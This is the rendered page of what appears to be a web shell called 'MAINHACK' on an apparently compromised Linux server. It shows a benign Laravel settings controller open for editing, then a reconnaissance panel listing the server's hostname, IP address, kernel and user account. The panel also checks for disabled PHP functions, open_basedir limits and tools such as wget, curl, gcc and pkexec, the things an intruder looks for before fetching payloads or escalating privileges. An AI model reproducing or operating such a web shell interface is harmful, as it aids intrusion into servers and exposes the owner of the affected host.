[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: SettingController.php
<?php namespace App\Http\Controllers\Admin; use App\Helpers\HasUploader; use App\Http\Controllers\Controller; use App\Models\Option; use Illuminate\Http\Request; use Illuminate\Support\Facades\Cache; class SettingController extends Controller { use HasUploader; public function __construct() { $this->middleware('permission:settings-read')->only('index'); $this->middleware('permission:settings-update')->only('update'); } public function index() { $general = Option::where('key','general')->first(); return view('admin.settings.general',compact('general')); } public function update(Request $request, $id) { $request->validate([ 'title' => 'required|string|max:100', 'logo' => 'nullable|image', 'favicon' => 'nullable|image', 'common_header_logo' => 'nullable|image', 'footer_logo' => 'nullable|image', 'admin_logo' => 'nullable|image', 'login_page_logo' => 'nullable|image', 'login_page_image' => 'nullable|image', 'app_link' => 'nullable|url', ]); $general = Option::findOrFail($id); Cache::forget($general->key); $general->update([ 'value' => $request->except('_token','_method','logo','favicon','common_header_logo','footer_logo','admin_logo', 'login_page_logo', 'login_page_image') + [ 'logo' => $request->logo ? $this->upload($request, 'logo', $general->logo) : $general->value['logo'], 'favicon' => $request->favicon ? $this->upload($request, 'favicon', $general->favicon) : $general->value['favicon'], 'common_header_logo' => $request->common_header_logo ? $this->upload($request, 'common_header_logo', $general->common_header_logo) : $general->value['common_header_logo'], 'footer_logo' => $request->footer_logo ? $this->upload($request, 'footer_logo', $general->footer_logo) : $general->value['footer_logo'], 'admin_logo' => $request->admin_logo ? $this->upload($request, 'admin_logo', $general->admin_logo) : $general->value['admin_logo'], 'login_page_logo' => $request->login_page_logo ? $this->upload($request, 'login_page_logo', $general->login_page_logo) : $general->value['login_page_logo'], 'login_page_image' => $request->login_page_image ? $this->upload($request, 'login_page_image', $general->login_page_image) : $general->value['login_page_image'], ] ]); return response()->json([ 'message' => __('General Setting updated successfully'), 'redirect' => route('admin.settings.index') ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.59 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002